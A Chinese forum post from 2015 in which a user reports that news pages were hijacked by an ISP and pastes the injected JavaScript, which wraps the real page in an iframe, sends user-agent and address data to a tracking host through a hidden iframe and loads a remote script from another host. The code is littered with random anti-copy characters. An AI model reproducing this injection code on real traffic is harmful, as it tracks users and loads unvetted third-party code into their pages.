本帖最后由 hudba 于 2015-2-3 00:56 编辑
+ t$ m+ O p' X7 w/ a6 \2 M $ O" N- U4 W5 f" ?, E4 N, D9 Y0 L
上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了/ e8 }( K( f3 q3 R; `: d, L
4 m, s3 b( J) H7 q# d
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}
' b' @$ D O$ H1 L https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8 http://www.v2ex.com/t/142197 2 }# o5 y1 ]* _2 d- W# L) g* l: F- S
' Q6 `( L. B% {2 `6 `" t, n 顺便查下ip138:+ H$ E$ ~5 R6 F2 q5 L5 e! F% C& v
; l5 Y- Z# J2 h$ Y1 L- u; g
这是那段js里面的代码,好象是个半成品还没写入广告数据:
^% z2 j( z5 u/ v) c' L% i6 ^* u function locationSearch() {- ?# j! g4 S" R$ _
var s = getMainJs();0 l1 f3 X- \8 x6 O; m& ~9 W9 s$ F$ @
if (s == null) {* N# i8 F3 Y) J4 _* h, c
location.reload();* C6 V3 c$ D" y( Z/ N" Q6 @. c
}+ K2 \: O3 H. b* y6 U* C- n# r
return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);) X( ^( E9 F' _7 w3 X9 v p
}! L7 @: K) q( x
; J0 ]0 k8 R0 ]5 @! K- |
function getParameter(name, paraStr) {; V5 P6 f, Z. V7 h# a' ?
var result = "";" ~/ |; }3 F5 U. q
var str = "&" + paraStr.split("?")[1];' \4 x1 |; q* K# E% M
var paraName = "&" + name + "=";
8 w8 o0 _% R' {( I if (str.indexOf(paraName) != -1) {7 k& E$ P2 `5 `; I( a7 S4 P
if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {. b x2 w {; o
var TmpStr = str.substring(str.indexOf(paraName), str.length);
' M( f3 P5 Y2 Z0 E! a' Z result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
& x& m5 Y8 y( [# g1 u3 K7 T3 r 1, TmpStr.length).indexOf("&")
# d7 }: B5 K1 b. G3 D - TmpStr.indexOf(paraName) + 1);
' x" f) Q- C" W/ s& O } else {3 w6 i1 y; X W3 c, o" y# z- H
result = str.substring(str.indexOf(paraName), str.length);3 ^& ?% U; x4 \
}6 O6 l4 K' V6 M" x0 G! M, s' z8 N
& K7 Z# D2 ^, w( q$ i# ?- q' y n7 P result = result.substring(result.indexOf("=") + 1, result.length);
1 `" L z0 {' B5 \* ^ } else {3 Z x, b! ^) z' s/ l# w
result = "No such parameter";
$ F. K# L; U# I F }( x) z3 w4 K. o. I$ i
return (result.replace("&", ""));
; Y2 |4 G$ c9 I* A5 L; F% g. @5 a }
# d0 z0 k' c4 Q1 S& h
& } y$ L1 P- ~% m3 t function getMainJs() {
/ k2 @% v$ R( L# F8 i2 @) y, r var scripts = document.getElementsByTagName("script");
9 y& H; ^4 d+ k0 X7 R var s = null;
" p' V: B0 Y3 ~ v- e- A for (var i = 0; i < scripts.length; i++) {9 [: y# B5 e9 i$ K- B
if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {2 W1 [* _" J- Q a
s = scripts[i];% C/ s5 t% P9 X" Q
break;
7 T( w7 O( \3 ^8 C8 B r$ X }# `1 y% A C' Y7 A; |7 R
}
' b% }- G% c8 }$ g4 h( ?7 q L8 P$ p return s;! E4 d+ @/ N, r6 @3 a( V
}
& g1 _) c2 ]: i- h/ b$ m4 e 5 D, w* p& B8 k) q; u/ k5 O
function appendParam(oStr, aStr) {
5 L f2 |$ N0 S8 ~2 `2 ?; j if (oStr.indexOf('?') > 0) {0 t- z8 Q5 k+ u0 y8 Z; L/ J, o0 a
oStr = oStr + "&" + aStr;
2 l, O% O! p! s6 ~3 t } else {* e. X( H( J9 N/ L( b% B( S
oStr = oStr + "?" + aStr;
c/ `0 L2 X; f0 u& _+ n8 g Q }+ x$ r/ I. \4 X' S9 h
return oStr;
: ?0 Q- Y( [) R! r' P8 L" u. h9 @ W, e }9 o* V, O7 C8 F+ i: s5 Y3 r
/ ~% L( c8 E, w- x9 N& E window.onerror = function() {
& F. I" n9 E$ j2 J$ B };
' h* E# ~2 Z. Z8 G
; j9 B& j& `0 r, T var g_titleTime = 0;
9 Z J. W# r2 R( T function setTcTitle() {' i! W. X, a3 Y; x9 n7 M8 }# o
if (undefined == document) {6 {+ z6 D+ W ~) f# B6 ?7 \; X
g_titleTime++;+ g; J" [: w* t! J! V: }9 ?
setTimeout("setTcTitle();", 1000);$ K0 D: j: n( K% b6 w6 ?9 r# o
return;% T3 I! y( @6 U$ _# G* f0 T8 K
}
G6 p+ Y% m, \ F, k- a @
; J) N/ @4 h$ a9 E6 G. m. y4 B var doc;: Z# g9 }, d: _. i) k8 L/ a
try {; W' U* x/ n8 P* p$ e
if (document.all) {
6 d6 h) U# ^: E s; d doc = document.frames["cn"].document;
3 W! E- T0 b3 z W/ ?1 l. v } else {) \: c- X, y) a/ N ?. `
doc = document.getElementById("cn").contentDocument;
0 K, e8 C% r8 o% a1 h! Y* o }
& K' s7 p% K v {: Z8 P/ A6 U) a } catch (ex) {
8 l1 R# J! w. Z* Q. W+ g }
. m& a3 Q) _: W9 i8 h
- U) r8 A/ P. k* v if (g_titleTime < 5
, x9 j# q6 |5 U6 f && (undefined == doc || undefined == doc.title || "" == doc.title)) {, H9 K/ b! t0 x4 L0 U4 n
g_titleTime++;
, k7 P1 B1 x+ j! a" ~" ^ setTimeout("setTcTitle();", 1000);
: [& N, y& ]% p! a1 I. B4 G return;
/ d4 {% S% }/ {# T* u- ^$ ^ } else if (undefined != doc && undefined != doc.title && "" != doc.title) {8 H' \, k4 k6 g0 w
document.title = doc.title;
4 S5 G i0 i- S8 J( D7 b setTcAdvVisible();/ n4 y% \$ }: e: n+ L9 F0 C" E4 u
}8 F, J. A6 p" s: q
}) f G! }" W3 ~# B
4 |' j- j) q0 E$ ^4 G p* F
setTimeout("setTcTitle();", 1000);* T! c1 A- i1 n7 n. k# P: H3 A
' w% A+ m! _0 d+ V. ]% T5 ~ var g_isHaveVisible = false;) Y7 O7 O' i) K3 C3 N
function setTcAdvVisible() {, I. v5 r9 [+ p6 M' d$ P2 u$ J! `
if (undefined != document && undefined != document.getElementById("addiv")# J) v* `! R s4 h; E; V' t
&& !g_isHaveVisible) {9 \: [; H8 y* t- o$ c
document.getElementById("addiv").style.visibility = 'visible';1 S' ?8 Q U+ H! A) x6 V$ {
document.getElementById("addiv").style.display = 'block';0 c* X" b; [: U0 ~' B7 g, E
g_isHaveVisible = true;
3 c5 k- B" f6 n$ g* p }! l/ G1 b g% n+ G
}
& A: E( p W; f0 |. ^ 7 |' w* H) d3 d5 r7 Y
function UrlAnalyzer() {
/ b0 Q+ s1 A. B3 t- N this.divda = "";9 Q# @7 x/ x% k+ R5 m. F
this.tctype = "";
- W5 I- y) m, P' Z" g this.radius = "";- B1 Y- O# L' ?: J' ?- N2 T
this.rlu = "";1 a0 L; }& m) W7 t' f
}
! Z. D$ _2 J, {1 a4 ] b# A 9 O( _( j/ ~/ N1 t3 e% `
UrlAnalyzer.prototype.initParameters = function() {# W* z) b- z' {! E2 g( _- R! F
var paraStr = locationSearch();' Z; v7 S# T9 b. y
this.rlu = getParameter("lruedct", paraStr); `8 E9 \& |4 g- n5 ^
this.divda = getParameter("divda", paraStr);
! M1 z [' q0 U9 a9 s+ S this.radius = getParameter("radius", paraStr);
; h7 W+ u: V6 q5 E3 K0 P' L this.tctype = getParameter("tctype", paraStr);
5 k+ L" t) Z( P2 N$ U this.address = getParameter("address", paraStr);
* u$ e1 N7 Y0 v4 j% u this.usagent = getParameter("usagent", paraStr);
8 N0 w, n& j; ?% g; N a! d }
3 s b& u( s3 c' E n9 x: Q ; \, ^7 U; z5 D
UrlAnalyzer.prototype.getHtmlDoc = function() {' F$ l/ l! S5 g U2 ?" ]
var doc;; h( _: j! C, w* b
try {: X3 \. T' }$ O3 C+ R6 B
if (document.all) {) N+ S' n- x" r- F3 S
doc = document.frames["cn"].document;5 v7 c4 M4 ]' ?
8 ?, r* ~$ n5 J } else {: ]$ K$ q, Y, u/ J8 x6 d% }, k; F/ D
doc = document.getElementById("cn").contentDocument;% t* W4 |- C) n& m) r
// doc = document.getElementById("cn").contentWindow.document;5 r. ~/ F) l& Z$ ?; B8 o
}
2 }$ k, ]8 ~( e+ Z0 P6 z7 T } catch (ex) {4 ]) E& q) k! j( a
}% L, Y& ~. C3 ^5 ]2 ^& R" [! D5 k
return doc;5 U2 ?8 k# K6 P$ V
}7 `. { x! v. M" ^$ O8 E
: r( o0 e$ {" w; y$ Z1 ]- {0 B+ D UrlAnalyzer.prototype.setDomain = function() {
: X2 c5 \; U. M if (undefined != document.title && "" == document.title)7 R& ~- s' C) l: g4 e8 f# M
{. [9 ^6 X% e7 A# S( M" a( \0 e# G
var index = document.domain.indexOf(".");
; y4 b. z" [5 o if (undefined != index && -1 != index) {4 u& t* W- Q9 T; @% |
document.domain = document.domain.substring(index + 1,
, x* q. X1 `: G0 j document.domain.length);7 p; v! }2 `' G# g% l
}* p P9 e4 l% Y0 y5 E; _, C/ D) @" y
# a! E. A& T! d0 |0 F1 X4 a. @ var doc = this.getHtmlDoc();
: o3 }! y& m. ?$ O5 X% } if (undefined != doc && undefined != doc.title && "" != doc.title) {; |% N# z* u/ u/ W4 `1 p3 D0 o
document.title = doc.title;8 V! {. W+ x, }* ~5 u/ T
setTcAdvVisible();
7 Z0 y5 _2 Z* T7 r" U3 y- D+ [ }
2 P+ i/ n5 U7 v1 N$ l: N6 M3 Q, q }
; e4 ~9 B; M1 w }
) h" r: M+ ?7 p4 ?
6 `) s( ~% v1 d2 P4 N7 B UrlAnalyzer.prototype.iframeCallback = function() {
; R' M4 i" r0 z7 f2 Z7 Q var doc = this.getHtmlDoc();* H* \! m. f. @# X' P5 ?) T, t
if (undefined == doc || undefined == doc.title || "" == doc.title) {
7 E" U) Y! S, q if (undefined != document.domain) {
% l& u: c3 D- T& h E 2 r7 m% P- _" \, J" U6 `" m
var self = this;
7 c( V6 z; r0 g2 h: C9 m setTimeout(function(){self.setDomain.call(self, null)}, 1000);
6 Z* n% v0 t$ Y | // var index = document.domain.indexOf(".");
7 `- U3 k5 c1 B // if (undefined != index && -1 != index) {1 ^) P1 Y8 t b* U3 P. W
// document.domain = document.domain.substring(index + 1,
' e0 a3 N) K$ ~8 H( o9 K% M, K // document.domain.length);
$ f1 r( B9 ], U( D3 ~' P // }* y) w* d$ _6 Z6 k! {) a
//5 A' M" o* i6 O! c. [8 B3 q
// var doc = this.getHtmlDoc();
4 _$ J5 y8 U4 w# \. k$ L8 v // if (undefined != doc && undefined != doc.title && "" !=
0 T8 P4 f' l5 X; x // doc.title) {
1 f" H s8 ?! e q6 x // document.title = doc.title;. u" O* I+ z1 l; R
// setTcAdvVisible(); u8 ^. D8 Z7 d
// }
+ o. }6 Q7 h% N3 n( M }
" A# c9 e+ W& P! D! C W } else if (undefined != doc && undefined != doc.title && "" != doc.title) {' y2 j4 Q" u- b
document.title = doc.title;
) g5 ~' Z# H; [+ I+ ` setTcAdvVisible();0 `! ]1 @5 x' V! l/ R% l. F
}
6 c! @* Z; P9 W+ F& }6 p" P }/ K9 E6 L( \* A K( V [3 j
1 v A/ ~$ u; Q) b0 \
UrlAnalyzer.prototype.executeHtmlContext = function() {
( P. t! r1 q0 C; J var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
! N6 z, C, i: o/ ] + "&rd=" + this.radius + "&tctype=" + this.divda + "&address=" + this.address + "&usagent=" + this.usagent;
- i7 Q$ u- ^/ b
, `# z4 ]0 V' f% d+ S1 Q var htmlStr = "<iframe src="" + staUrl- j2 L# E1 B3 {" o3 n, E% \) R K
+ "" style="display:none"></iframe>";' ?3 I4 A# X( o$ B' b
, E8 J ^* G2 |' D' {
var advUrl = htmlStr
! C" A. o; D) g' r- w7 S + "<script src="http://c2.sxite.com:8060/center?advId="1 I) u% e3 F% g2 r( [
+ this.divda + "&radius=" + this.radius + "&area=1" + ""><\/script>";
( P" _, |$ z2 Y! P document.write(advUrl);
7 W" O& x5 m9 I0 `; n
$ A% m& }9 b5 @1 V var self = this;
' u+ s% w) R, Q* f+ O, W/ a var iframe = document.getElementById("cn");7 g' u0 H/ L8 f! ?
if (iframe.attachEvent) {
* @: G4 O. ?( [. C% Z. d iframe.attachEvent("onload", function() {
6 {# T- r$ x: }+ w% u0 H self.iframeCallback.call(self, null);
3 }3 G" {! `. {1 s, Z });# f7 I! m6 H* v
} else {; G+ ?0 I" w1 r$ _8 x
iframe.onload = function() {5 ]+ C. O9 F! X0 r2 h, c
self.iframeCallback.call(self, null);
- S( B5 d. ?6 r4 M }
8 L8 @* V, q$ U; \& ?# w) A }
' }8 Q# W2 _8 n1 \8 A }( m( g: g. o- k% R! W& C6 O$ e
. f% t) m E$ g( k2 y% R7 N4 v
UrlAnalyzer.prototype.executeMain = function() {
( y( a8 g: J# L. Q var mainFrame = document.getElementById("cn");
# v* h1 G$ @0 z& f5 v& M mainFrame.contentWindow.location.href = mainFrame.src;$ t# I2 j4 K0 K/ i& `4 m4 V% o7 |
this.initParameters();
) N$ t2 m# i( n; A P2 ~ F; Z this.executeHtmlContext();
. |5 z3 p6 ^' q* f5 V: b5 x1 V* _: W }+ ?7 g& R) E- E3 K3 S
5 d6 D `' e$ Z R; r+ c' s+ F
var g_analyzer = new UrlAnalyzer();6 Z5 H# d; x! J0 n5 a8 {- S
g_analyzer.executeMain();7 K' ] _, a4 I1 H$ E) k+ s
复制代码 : F* r6 y. ~- U4 z: ^ y
6 o4 [/ T* x. l4 S
2 i* n8 F& H+ D
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
相关帖子